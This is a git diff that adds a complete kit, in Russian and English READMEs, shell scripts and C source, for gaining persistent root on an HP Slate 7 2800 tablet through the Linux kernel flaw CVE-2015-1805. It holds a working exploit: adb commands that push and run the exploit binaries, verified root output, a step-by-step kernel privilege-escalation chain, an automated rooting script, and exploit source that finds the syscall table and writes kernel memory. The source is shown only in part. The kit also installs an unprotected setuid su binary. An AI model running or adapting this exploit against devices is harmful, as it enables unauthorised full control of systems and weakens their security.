репозитория и сначала проверьте точное совпадение устройства: + +```sh +./scripts/check-target.sh +``` + +Если подключено несколько устройств, передавайте serial во всех командах через +`adb -s SERIAL` или используйте переменную `ANDROID_SERIAL`. + +Загрузите три файла под именами, которые ожидают друг друга: + +```sh +adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root +adb push bin/hp-slate7-install-root /data/local/tmp/install-root +adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7 +``` + +Выставьте права и сбросьте staging-файлы на накопитель: + +```sh +adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync' +``` + +Запустите эксплойт **один раз**: + +```sh +adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc' +``` + +Подтверждённый успешный вывод: + +```text +offset:c4 +addr:c04d0d40 + [+] Done +restored syscall 222 to 0xc051900c +exploit rc=0 uid=0 gid=0 +installer uid=0 gid=0 +install-su ok +DEVICE_RC=0 +``` + +Если устройство на несколько секунд исчезло из ADB, не запускайте эксплойт +повторно. Дождитесь его возвращения: + +```sh +adb wait-for-device +``` + +## Автоматизированный запуск + +Скрипт выполняет проверку fingerprint и ядра, проверяет SHA-256, загружает +файлы, просит ввести `ROOT`, запускает эксплойт и проверяет `uid=0`: + +```sh +./scripts/root-device.sh +``` + +Для нескольких устройств: + +```sh +./scripts/root-device.sh --serial ADB_SERIAL +``` + +Флаг `--yes` убирает интерактивное подтверждение и предназначен только для +осознанного автоматического запуска: + +```sh +./scripts/root-device.sh --serial ADB_SERIAL --yes +``` + +## Проверка результата + +Проверяйте root из **нового** ADB shell, а не по uid процесса эксплойта: + +```sh +adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?' +adb shell 'ls -l /system/xbin/su' +adb shell 'cat /proc/mounts' | grep ' /system ' +``` + +Ожидается: + +```text +uid=2000(shell) ... +uid=0(root) gid=0(root) ... +SU_RC=0 +-rwsr-sr-x root root ... su +... /system ext4 ro,... +``` + +Затем удалите только временные staging-файлы. Установленный +`/system/xbin/su` не удаляется: + +```sh +adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"' +``` + +Комплект не создаёт `/data/local.prop` и не изменяет пользовательские данные. + +Выполните обычную перезагрузку и итоговую проверку постоянного root: + +```sh +adb reboot +adb wait-for-device +adb shell getprop sys.boot_completed +adb shell '/system/xbin/su -c id' +``` + +На проверенном планшете после перезагрузки было получено: + +```text +uid=0(root) gid=0(root) ... +``` + +Установленный файл был выгружен обратно с планшета и побайтно совпал с +`bin/hp-slate7-su`: + +```text +40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e +``` + +## Использование root + +Выполнение одной команды: + +```sh +adb shell '/system/xbin/su -c id' +adb shell '/system/xbin/su -c "ls -la /data"' +``` + +`hp-slate7-su` — намеренно минимальный wrapper без Android-приложения, +диалогов подтверждения, daemon и журнала разрешений. Любой локальный процесс, +который способен исполнить `/system/xbin/su`, потенциально может получить root. +Не используйте этот устаревший планшет для конфиденциальных данных после root и +не устанавливайте на него непроверенные APK. + +## Пересборка из исходников + +Укажите путь к portable Zig 0.15.2 или добавьте `zig` в `PATH`: + +```sh +ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh +``` + +Результат появится в `build/`: + +```text +build/hp-slate7-cve-2015-1805-root +build/hp-slate7-install-root +build/hp-slate7-su +``` + +Проверить формат: + +```sh +file build/hp-slate7-* +``` + +Все три файла должны быть 32-битными ARM EABI5 ELF. При проверенной версии +Zig 0.15.2 установщик и `su` пересобираются побайтно идентично файлам из +`bin/`. Хеш эксплойта может отличаться из-за абсолютных путей в DWARF и linker +metadata; его критический шестикомандный trampoline при проверочной пересборке +совпал побайтно. Пересборка не заменяет контрольные суммы файлов из `bin/`, +которые фактически запускались на планшете. + +## Возможные проблемы + +### `unauthorized` + +Разблокируйте экран и подтвердите RSA-ключ USB-отладки. Если запрос не появился, +переподключите кабель и повторите `adb devices -l`. + +### `offline` или устройство исчезло + +Подождите несколько секунд и выполните `adb wait-for-device`. Если планшет +выключился, включите его обычной кнопкой Power. Не запускайте второй экземпляр +эксплойта одновременно. + +### Эксплойт не вывел `[+] Done` + +CVE эксплуатируется через гонку и теоретически может не сработать. Перезагрузите +планшет перед единственной повторной попыткой. Не запускайте бинарник циклом: +ошибка гонки способна аварийно завершить ядро. + +### Есть `su`, но команда завершается с кодом 127 + +Проверьте SHA-256 файла. Ранний исследовательский wrapper неправильно получал +`argv` на ARM и завершался с 127. В этом репозитории находится исправленная +656-байтная версия с SHA-256 +`40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e`. + +### На экране остаётся логотип HP, но ADB уже доступен + +Проверьте реальное состояние Android: + +```sh +adb shell getprop sys.boot_completed +adb shell dumpsys window windows +``` + +Значение `sys.boot_completed=1` означает, что Android загрузился, даже если +физический дисплей ещё показывает старый кадр. + +## Что проверялось и что не использовалось + +На устройстве были безопасно исключены либо оказались непригодными другие +общеизвестные пути: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, +CVE-2013-4787, Dirty COW и PingPongRoot. Towelroot/CVE-2014-3153 приводил к +падению этого ядра и не должен использоваться. CVE-2014-7951 позволяла записать +файл через ADB restore traversal, но firmware HP не загружала +`/data/local.prop`, поэтому root этим способом не получался. + +Bootloader использует старый Rockchip loader и не появился как стандартное +fastboot-устройство. Прошивка recovery или разблокировка bootloader для данного +результата не потребовались. + +## Происхождение и лицензия + +Основой exploit-кода послужил +[`mobilelinux/iovy_root_research`](https://github.com/mobilelinux/iovy_root_research), +commit `f945796`, который в свою очередь указывает на +[`dosomder/iovyroot`](https://github.com/dosomder/iovyroot). Device-specific +изменения включают ограничение количества потоков, исправление таймаута, +naked ARM-trampoline, раннее восстановление syscall-таблицы, валидацию `cred` +и отключение неприменимой SELinux-ветки. + +Исходные уведомления сохранены. Репозиторий распространяется по GPL-3.0; см. +`LICENSE` и `NOTICE`. + +## Ответственность + +Эксплуатация kernel memory всегда несёт риск перезагрузки, повреждения системы +или потери данных. Комплект предназначен только для принадлежащего вам +HP Slate 7 2800 с точно совпадающей прошивкой. Сделайте резервную копию важных +данных и не применяйте его к чужим устройствам. + +--- + +Исследование безопасности и документация выполнены при содействии OpenAI Codex +на базе [GPT-5.6 Sol](https://developers.openai.com/api/docs/models/gpt-5.6-sol) +с доступом к возможностям кибербезопасности Daybreak Blue. diff --git a/README.md b/README.md index e69de29..f80370d 100644 --- a/README.md +++ b/README.md @@ -0,0 +1,445 @@ +# Root for the HP Slate 7 2800 on Android 4.1.1 + +**English** | [Русский](README.RU.md) + +This repository contains a complete, self-contained kit for obtaining persistent +root access on the **HP Slate 7 2800** running firmware **1.05.18** and kernel +**Linux 3.0.8+** by exploiting the local vulnerability **CVE-2015-1805**. The +kit was run on the actual tablet, and the result was verified from a fresh ADB +session and after a normal reboot. + +This is not a universal Android rooting tool. The exploit is specific to this +HP kernel configuration. Do not run it on a different model, firmware, or +kernel version. + +## Verified configuration + +| Parameter | Verified value | +|---|---| +| Manufacturer and model | HP Slate 7 2800 | +| Android | 4.1.1, API 16, build JRO03H | +| Product / device | `t7h` / `pine` | +| Processor | Rockchip RK3066, ARMv7 | +| Build fingerprint | `hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys` | +| Kernel | `3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015` | +| ABI | 32-bit ARM EABI5 | +| SELinux | not present in the kernel configuration (`CONFIG_SECURITY` is disabled) | +| `/system` partition | ext4, mounted read-only by default | + +You can inspect the device without making any changes: + +```sh +adb devices -l +adb shell getprop ro.product.model +adb shell getprop ro.build.fingerprint +adb shell getprop ro.build.version.sdk +adb shell cat /proc/version +``` + +Alternatively, use the script below. It will refuse to proceed if either the +fingerprint or kernel version does not match: + +```sh +./scripts/check-target.sh +./scripts/check-target.sh ADB_SERIAL +``` + +## Repository contents + +```text +. +├── bin/ +│ ├── hp-slate7-cve-2015-1805-root # verified exploit +│ ├── hp-slate7-install-root # installs su into /system +│ └── hp-slate7-su # minimal setuid-root wrapper +├── src/ +│ ├── exploit/ # CVE source and device-specific changes +│ ├── installer/install-root.c # installer source +│ └── su/rootsh.S # minimal su source +├── scripts/ +│ ├── build.sh # rebuilds all three ELF files +│ ├── check-target.sh # safe compatibility check +│ └── root-device.sh # verifies, uploads, and runs the kit +├── SHA256SUMS # hashes of the verified bin/* files +├── NOTICE # attribution for the original PoC +└── LICENSE # GPL-3.0 +``` + +### File formats and purposes + +| File | Format | Size | Purpose | +|---|---:|---:|---| +| `bin/hp-slate7-cve-2015-1805-root` | ELF 32-bit ARM EABI5, static, unstripped | 2,722,320 bytes | Exploits the CVE, obtains uid 0, and launches the installer | +| `bin/hp-slate7-install-root` | ELF 32-bit ARM EABI5, static, stripped | 22,596 bytes | Temporarily remounts `/system` rw, installs `su`, and restores ro | +| `bin/hp-slate7-su` | ELF 32-bit ARM EABI5, static, stripped | 656 bytes | Calls `setresgid(0,0,0)` and `setresuid(0,0,0)`, then launches `/system/bin/sh` | + +SHA-256 checksums of the verified binaries: + +```text +6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root +4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root +40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su +``` + +Verification on macOS: + +```sh +shasum -a 256 -c SHA256SUMS +``` + +Verification on Linux: + +```sh +sha256sum -c SHA256SUMS +``` + +Use the files from `bin/` on the tablet: these are the exact bytes that were +verified on the device. The `build/` directory is intended for local rebuilds +and is not tracked by Git. + +## Vulnerability used + +[CVE-2015-1805](https://nvd.nist.gov/vuln/detail/CVE-2015-1805) is a flaw in the +`pipe_read()` and `pipe_write()` implementations of older Linux kernels. When +an atomic copy fails, the code incorrectly continues traversing the `iovec` +array, potentially moving a pointer beyond its bounds. As a result, a local +unprivileged process can corrupt memory, crash the kernel, or escalate its +privileges. A detailed explanation of the mechanism was published on +[oss-security](https://www.openwall.com/lists/oss-security/2015/06/06/2). The +fixes can be found, among other places, in the upstream Linux commits +[`637b58c`](https://github.com/torvalds/linux/commit/637b58c2887e5e57850865839cc75f59184b23d1) +and [`f0d1bec`](https://github.com/torvalds/linux/commit/f0d1bec9d58d4c038d0ac958c9af82be6eb18045). + +The tablet's `3.0.8+` kernel proved vulnerable. Before modifying kernel memory, +the same race was tested separately with a harmless probe whose two write +targets were both located in the test process's ordinary memory. It reported +`CVE-2015-1805: VULNERABLE`, and the tablet remained accessible over ADB. + +## Privilege-escalation chain + +1. The exploit creates a race between `readv()`, memory mapping changes, and + processing a large `iovec` array in the kernel's vulnerable pipe code. +2. The resulting write primitive temporarily replaces the unused entry 222 in + `sys_call_table` with the address of a small ARM trampoline in the exploit + process. +3. The table address is calculated through the high vector at `0xffff0008`. + On the verified device, the instruction is `0xe59ff410`, and its literal + points to `vector_swi = 0xc04d0d40`. +4. `vector_swi` and `sys_call_table` were independently assembled from the + [official HP Open Source 1.05.10 kernel archive](https://h30671.www3.hp.com/osp/Slate_7_Open_Source_Slate_7_28XX_Open_Source-1.05.10-20140212.tgz) + (archive SHA-256: + `dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2`) + with the `rk30_t7h_dvt_defconfig` defconfig. Their offset is `0xc4`. The + installed firmware has neither OABI nor seccomp, so the table's final + runtime address is `0xc04d0e04`. +5. The trampoline consists of exactly six ARM instructions. It obtains the + current `sp`, aligns it to the 8,192-byte kernel stack size, and writes `-1` + only to `thread_info.addr_limit` at offset 8. It contains no external calls, + prologue, or compiler runtime code. +6. Immediately after the temporary syscall returns, entry 222 is restored from + entry 223. Both entries are `sys_ni_syscall` in the HP source; the pointer + restored on the verified kernel is `0xc051900c`. +7. Once `addr_limit` has been widened, pipe copying reads the current + `task_struct`, locates `cred`, and validates the structure using the current + uid/gid values, alignment, reference count, and the `real_cred == cred` + condition. Only after these checks are the uid/gid values zeroed and the + capability masks filled with ones. +8. The process obtains `uid=0` and launches `/data/local/tmp/install-root`. + The installer remounts `/system` rw, copies the payload to + `/system/xbin/su`, assigns `root:root` ownership and mode `06755`, calls + `sync()`, and remounts `/system` read-only. + +The original `current_thread_info()` function from the old kernel headers was +incompatible with modern Clang at `-O0`: an early prototype read an +uninitialized word instead of the `sp` register and could crash the kernel. In +this repository, it has been replaced with a verified naked ARM trampoline. +The early binary is not included in the repository. + +## Required software + +### To use the ready-made files from `bin/` + +- a computer running macOS or Linux; Windows is also possible with a suitable + ADB USB driver, but this procedure was verified on macOS; +- `adb` from Android SDK Platform Tools; +- a working USB data cable; +- USB debugging enabled and the computer's RSA key accepted on the tablet. + +You do not need the Android NDK, Java, Python, fastboot, an unlocked bootloader, +a custom recovery, a rooting APK, or network access. The exploit and payload +are statically linked. + +### To rebuild from source + +- Zig 0.15.2; unpacking the portable archive is sufficient, with no system-wide + package installation required; +- Bash; +- `shasum` or `sha256sum` to verify the result. + +The Android NDK is still not required: Zig provides an ARM musl cross-toolchain. + +## Preparing the tablet + +1. Charge the tablet to at least 50%. It was at approximately 80% during the + verified run. +2. Boot Android normally and unlock the screen. +3. Enable Developer options -> USB debugging. +4. Connect the cable and accept the USB debugging RSA prompt if Android shows + it. +5. Do not run Towelroot, KingRoot, or other rooting applications concurrently. +6. Close unnecessary applications. The exploit creates many threads and comes + close to the limits of this old device. + +Check the connection: + +```sh +adb devices -l +``` + +The status must be `device`, not `offline` or `unauthorized`. + +## Obtaining root: manual procedure + +Change to the repository root and first verify that the device matches exactly: + +```sh +./scripts/check-target.sh +``` + +If multiple devices are connected, pass the serial number to every command +using `adb -s SERIAL`, or set the `ANDROID_SERIAL` environment variable. + +Upload the three files using the names they expect for one another: + +```sh +adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root +adb push bin/hp-slate7-install-root /data/local/tmp/install-root +adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7 +``` + +Set the permissions and flush the staged files to storage: + +```sh +adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync' +``` + +Run the exploit **once**: + +```sh +adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc' +``` + +Verified successful output: + +```text +offset:c4 +addr:c04d0d40 + [+] Done +restored syscall 222 to 0xc051900c +exploit rc=0 uid=0 gid=0 +installer uid=0 gid=0 +install-su ok +DEVICE_RC=0 +``` + +If the device disappears from ADB for a few seconds, do not run the exploit +again. Wait for it to return: + +```sh +adb wait-for-device +``` + +## Automated procedure + +The script verifies the fingerprint and kernel, checks the SHA-256 hashes, +uploads the files, asks you to enter `ROOT`, runs the exploit, and verifies +`uid=0`: + +```sh +./scripts/root-device.sh +``` + +For multiple devices: + +```sh +./scripts/root-device.sh --serial ADB_SERIAL +``` + +The `--yes` option disables the interactive confirmation and is intended only +for deliberate automated use: + +```sh +./scripts/root-device.sh --serial ADB_SERIAL --yes +``` + +## Verifying the result + +Verify root from a **fresh** ADB shell, not from the exploit process's uid: + +```sh +adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?' +adb shell 'ls -l /system/xbin/su' +adb shell 'cat /proc/mounts' | grep ' /system ' +``` + +Expected output: + +```text +uid=2000(shell) ... +uid=0(root) gid=0(root) ... +SU_RC=0 +-rwsr-sr-x root root ... su +... /system ext4 ro,... +``` + +Next, remove only the temporary staging files. The installed +`/system/xbin/su` is not removed: + +```sh +adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"' +``` + +The kit does not create `/data/local.prop` or modify user data. + +Perform a normal reboot and then verify persistent root: + +```sh +adb reboot +adb wait-for-device +adb shell getprop sys.boot_completed +adb shell '/system/xbin/su -c id' +``` + +The verified tablet produced the following result after reboot: + +```text +uid=0(root) gid=0(root) ... +``` + +The installed file was pulled back from the tablet and matched +`bin/hp-slate7-su` byte for byte: + +```text +40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e +``` + +## Using root + +To run a single command: + +```sh +adb shell '/system/xbin/su -c id' +adb shell '/system/xbin/su -c "ls -la /data"' +``` + +`hp-slate7-su` is an intentionally minimal wrapper with no Android app, +confirmation prompts, daemon, or permission log. Any local process capable of +executing `/system/xbin/su` can potentially obtain root. Do not use this +obsolete tablet for sensitive data after rooting it, and do not install +untrusted APKs. + +## Rebuilding from source + +Specify the path to portable Zig 0.15.2, or add `zig` to `PATH`: + +```sh +ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh +``` + +The output will be written to `build/`: + +```text +build/hp-slate7-cve-2015-1805-root +build/hp-slate7-install-root +build/hp-slate7-su +``` + +Check the file formats: + +```sh +file build/hp-slate7-* +``` + +All three files must be 32-bit ARM EABI5 ELF files. With the verified Zig +0.15.2 version, the installer and `su` rebuild byte-for-byte identically to the +files in `bin/`. The exploit hash may differ because of absolute paths in DWARF +and linker metadata; its critical six-instruction trampoline was byte-for-byte +identical in the verification build. A rebuild does not replace the checksums +of the files in `bin/` that were actually run on the tablet. + +## Troubleshooting + +### `unauthorized` + +Unlock the screen and accept the USB debugging RSA key. If the prompt does not +appear, reconnect the cable and run `adb devices -l` again. + +### `offline` or the device disappears + +Wait a few seconds and run `adb wait-for-device`. If the tablet has powered +off, turn it on normally with the Power button. Do not run a second instance of +the exploit concurrently. + +### The exploit did not print `[+] Done` + +The CVE is exploited through a race and may theoretically fail. Reboot the +tablet before making a single retry. Do not run the binary in a loop: a failed +race can crash the kernel. + +### `su` exists, but the command exits with code 127 + +Verify the file's SHA-256 hash. An early research wrapper handled `argv` +incorrectly on ARM and exited with code 127. This repository contains the +corrected 656-byte version with SHA-256 +`40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e`. + +### The HP logo remains on screen, but ADB is already available + +Check Android's actual state: + +```sh +adb shell getprop sys.boot_completed +adb shell dumpsys window windows +``` + +`sys.boot_completed=1` means that Android has booted even if the physical +display is still showing an old frame. + +## What was tested and what was not used + +Other well-known approaches were safely ruled out or found unsuitable on this +device: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW, +and PingPongRoot. Towelroot/CVE-2014-3153 crashed this kernel and must not be +used. CVE-2014-7951 made it possible to write a file through ADB restore path +traversal, but the HP firmware did not load `/data/local.prop`, so this method +did not provide root. + +The bootloader uses an old Rockchip loader and did not appear as a standard +fastboot device. Flashing a recovery or unlocking the bootloader was not +required for this result. + +## Provenance and license + +The exploit code is based on +[`mobilelinux/iovy_root_research`](https://github.com/mobilelinux/iovy_root_research), +commit `f945796`, which in turn references +[`dosomder/iovyroot`](https://github.com/dosomder/iovyroot). Device-specific +changes include reducing the thread count, fixing the timeout, using a naked +ARM trampoline, restoring the syscall table early, validating `cred`, and +disabling the inapplicable SELinux branch. + +The original notices have been preserved. The repository is distributed under +GPL-3.0; see `LICENSE` and `NOTICE`. + +## Disclaimer + +Exploiting kernel memory always carries a risk of rebooting the device, +corrupting the system, or losing data. This kit is intended only for an +HP Slate 7 2800 that you own and whose firmware matches exactly. Back up any +important data, and do not use it on devices belonging to other people. + +--- + +Security research and documentation were completed with assistance from +OpenAI Codex, powered by [GPT-5.6 Sol](https://developers.openai.com/api/docs/models/gpt-5.6-sol) +with Daybreak Blue cybersecurity access. diff --git a/SHA256SUMS b/SHA256SUMS new file mode 100644 index 0000000..b781a0e --- /dev/null +++ b/SHA256SUMS @@ -0,0 +1,3 @@ +6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root +4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root +40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su diff --git a/bin/hp-slate7-cve-2015-1805-root b/bin/hp-slate7-cve-2015-1805-root new file mode 100755 index 0000000..d2f9f2a Binary files /dev/null and b/bin/hp-slate7-cve-2015-1805-root differ diff --git a/bin/hp-slate7-install-root b/bin/hp-slate7-install-root new file mode 100755 index 0000000..94b1d91 Binary files /dev/null and b/bin/hp-slate7-install-root differ diff --git a/bin/hp-slate7-su b/bin/hp-slate7-su new file mode 100755 index 0000000..a496d49 Binary files /dev/null and b/bin/hp-slate7-su differ diff --git a/scripts/build.sh b/scripts/build.sh new file mode 100755 index 0000000..6e0c688 --- /dev/null +++ b/scripts/build.sh @@ -0,0 +1,47 @@ +#!/usr/bin/env bash +set -euo pipefail + +repo_root="$(cd "$(dirname "$0")/.." && pwd)" +output_dir="${OUTPUT_DIR:-$repo_root/build}" +zig_bin="${ZIG_BIN:-zig}" + +if ! command -v "$zig_bin" >/dev/null 2>&1; then + echo "Zig not found. Set ZIG_BIN=/absolute/path/to/zig." >&2 + exit 1 +fi + +mkdir -p "$output_dir" +echo "Using: $($zig_bin version)" + +"$zig_bin" cc \ + -target arm-linux-musleabi \ + -static -O0 -marm -pthread -fno-stack-protector \ + -I"$repo_root/src/exploit/stub" \ + -I"$repo_root/src/exploit/common" \ + -I"$repo_root/src/exploit/expIov" \ + "$repo_root/src/exploit/root-main.c" \ + "$repo_root/src/exploit/expIov/iov_exp_main.c" \ + "$repo_root/src/exploit/common/kallsyms.c" \ + "$repo_root/src/exploit/common/exp_sys_call.c" \ + "$repo_root/src/exploit/common/getroot.c" \ + -o "$output_dir/hp-slate7-cve-2015-1805-root" + +"$zig_bin" cc \ + -target arm-linux-musleabi \ + -static -Os -marm -s \ + "$repo_root/src/installer/install-root.c" \ + -o "$output_dir/hp-slate7-install-root" + +"$zig_bin" cc \ + -target arm-linux-musleabi \ + -static -nostdlib -Wl,-e,_start -Wl,--build-id=none -s \ + "$repo_root/src/su/rootsh.S" \ + -o "$output_dir/hp-slate7-su" + +chmod 755 "$output_dir"/hp-slate7-* + +if command -v shasum >/dev/null 2>&1; then + shasum -a 256 "$output_dir"/hp-slate7-* +else + sha256sum "$output_dir"/hp-slate7-* +fi diff --git a/scripts/check-target.sh b/scripts/check-target.sh new file mode 100755 index 0000000..a1fc873 --- /dev/null +++ b/scripts/check-target.sh @@ -0,0 +1,32 @@ +#!/usr/bin/env bash +set -euo pipefail + +adb_bin="${ADB_BIN:-adb}" +expected_fingerprint='hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys' +expected_kernel='3.0.8+' +serial="${1:-}" + +if ! command -v "$adb_bin" >/dev/null 2>&1; then + echo "adb not found. Set ADB_BIN=/absolute/path/to/adb." >&2 + exit 1 +fi + +adb_args=() +if [[ -n "$serial" ]]; then + adb_args=(-s "$serial") +fi + +fingerprint="$($adb_bin "${adb_args[@]}" shell getprop ro.build.fingerprint | tr -d '\r')" +kernel="$($adb_bin "${adb_args[@]}" shell cat /proc/sys/kernel/osrelease | tr -d '\r')" +model="$($adb_bin "${adb_args[@]}" shell getprop ro.product.model | tr -d '\r')" +sdk="$($adb_bin "${adb_args[@]}" shell getprop ro.build.version.sdk | tr -d '\r')" + +printf 'Model: %s\nFingerprint: %s\nKernel: %s\nSDK: %s\n' \ + "$model" "$fingerprint" "$kernel" "$sdk" + +if [[ "$fingerprint" != "$expected_fingerprint" || "$kernel" != "$expected_kernel" ]]; then + echo "REFUSED: this target does not match the verified device." >&2 + exit 2 +fi + +echo "Target matches the verified HP Slate 7 2800 firmware." diff --git a/scripts/root-device.sh b/scripts/root-device.sh new file mode 100755 index 0000000..86dbdaa --- /dev/null +++ b/scripts/root-device.sh @@ -0,0 +1,77 @@ +#!/usr/bin/env bash +set -euo pipefail + +repo_root="$(cd "$(dirname "$0")/.." && pwd)" +adb_bin="${ADB_BIN:-adb}" +serial="" +assume_yes=0 + +while [[ $# -gt 0 ]]; do + case "$1" in + --serial) + serial="$2" + shift 2 + ;; + --yes) + assume_yes=1 + shift + ;; + *) + echo "Usage: $0 [--serial ADB_SERIAL] [--yes]" >&2 + exit 2 + ;; + esac +done + +adb_args=() +if [[ -n "$serial" ]]; then + adb_args=(-s "$serial") +fi + +"$repo_root/scripts/check-target.sh" "$serial" + +if command -v shasum >/dev/null 2>&1; then + (cd "$repo_root" && shasum -a 256 -c SHA256SUMS) +else + (cd "$repo_root" && sha256sum -c SHA256SUMS) +fi + +if [[ "$assume_yes" != 1 ]]; then + printf 'Type ROOT to run the kernel exploit on this tablet: ' + read -r confirmation + [[ "$confirmation" == ROOT ]] || exit 3 +fi + +"$adb_bin" "${adb_args[@]}" push \ + "$repo_root/bin/hp-slate7-cve-2015-1805-root" \ + /data/local/tmp/cve-2015-1805-root +"$adb_bin" "${adb_args[@]}" push \ + "$repo_root/bin/hp-slate7-install-root" \ + /data/local/tmp/install-root +"$adb_bin" "${adb_args[@]}" push \ + "$repo_root/bin/hp-slate7-su" \ + /data/local/tmp/rootsh-armv7 + +"$adb_bin" "${adb_args[@]}" shell \ + 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync' + +set +e +"$adb_bin" "${adb_args[@]}" shell \ + '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc' +exploit_rc=$? +set -e + +if [[ "$exploit_rc" != 0 ]]; then + echo "Exploit did not complete cleanly. Reboot before any retry." >&2 + exit "$exploit_rc" +fi + +"$adb_bin" "${adb_args[@]}" wait-for-device +root_id="$($adb_bin "${adb_args[@]}" shell '/system/xbin/su -c id' | tr -d '\r')" +echo "$root_id" +[[ "$root_id" == uid=0\(* ]] || { + echo "Root verification failed." >&2 + exit 4 +} + +echo "Root verified. See README.RU.md for cleanup and reboot verification." diff --git a/src/exploit/common/exp_sys_call.c b/src/exploit/common/exp_sys_call.c new file mode 100644 index 0000000..63598dc --- /dev/null +++ b/src/exploit/common/exp_sys_call.c @@ -0,0 +1,83 @@ +#include +#include +#include +#include +#include +#include + +#include + +#include +#include + +#include "exp_sys_call.h" +#include "kallsyms.h" +#include "log.h" + +unsigned long int exp_sys_call_address; + +#define PR_GET_SECCOMP 21 + +int config_seccomp() { + if (kallsyms_exist_sym("__audit_seccomp")) + return 1; + + int ret = prctl(PR_GET_SECCOMP, 0, 0, 0, 0); + if (ret < 0) { + switch (errno) { + case ENOSYS: + return 0; + case EINVAL: + return 0; + default: + return 1; + } + } + return 1; +} + +int config_oabi() { + return kallsyms_exist_sym("sys_oabi_call_table"); +} + +unsigned long get_sys_table_base_via_swi() +{ + const void *swi_addr = (const void *)(uintptr_t)0xFFFF0008u; + unsigned long vector_swi_offset = 0; + unsigned long vector_swi_instruction = 0; + unsigned long *vector_swi_addr_ptr = NULL; + unsigned long offset = 0xC4; + + memcpy(&vector_swi_instruction, swi_addr, sizeof(vector_swi_instruction)); + vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000fff; + if (config_oabi()) { + offset += 0x24; + } + if (config_seccomp()) { + offset += 0x20; + } + vector_swi_addr_ptr = (unsigned long *)((unsigned long)swi_addr + vector_swi_offset + 8); + LOGE("offset:%x\n", offset); + LOGE("addr:%x\n", (*vector_swi_addr_ptr)); + return *vector_swi_addr_ptr + offset; +} + +unsigned long get_sys_table_base() { + unsigned long syscall_base = (unsigned long)kallsyms_get_symbol_address("sys_call_table"); + if (syscall_base) + return syscall_base; + + return get_sys_table_base_via_swi(); +} + +bool +setup_exp_sys_call_address(void) +{ + unsigned long sys_call_table = get_sys_table_base(); + + if (sys_call_table == 0) + return false; + + exp_sys_call_address = (unsigned long int)sys_call_table + __NR_exp_ * 4; + return true; +} diff --git a/src/exploit/common/exp_sys_call.h b/src/exploit/common/exp_sys_call.h new file mode 100644 index 0000000..5d2a978 --- /dev/null +++ b/src/exploit/common/exp_sys_call.h @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2013 Hiroyuki Ikezoe + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * + */ +#ifndef _EXP_SYS_H_ +#define _EXP_SYS_H_ + +#include +#include + +#define __NR_exp_ 222 + +extern unsigned long int exp_sys_call_address; +bool setup_exp_sys_call_address(void); +unsigned long get_sys_table_base(void); + +#endif /* _EXP_SYS_H_ */ +/* +vi:ts=2:nowrap:ai:expandtab:sw=2 +*/ diff --git a/src/exploit/common/getroot.c b/src/exploit/common/getroot.c new file mode 100644 index 0000000..a6f5a44 --- /dev/null +++ b/src/exploit/common/getroot.c @@ -0,0 +1,248 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "threadinfo.h" +#include "kallsyms.h" + +#define __user +#define __kernel + +#define QUOTE(str) #str +#define TOSTR(str) QUOTE(str) +#define ASMMAGIC (0xBEEFDEAD) + +int read_at_address_pipe(void* address, void* buf, ssize_t len) +{ + int ret = 1; + int pipes[2]; + + if(pipe(pipes)) + return 1; + + if(write(pipes[1], address, len) != len) + goto end; + if(read(pipes[0], buf, len) != len) + goto end; + + ret = 0; +end: + close(pipes[1]); + close(pipes[0]); + return ret; +} + +int write_at_address_pipe(void* address, void* 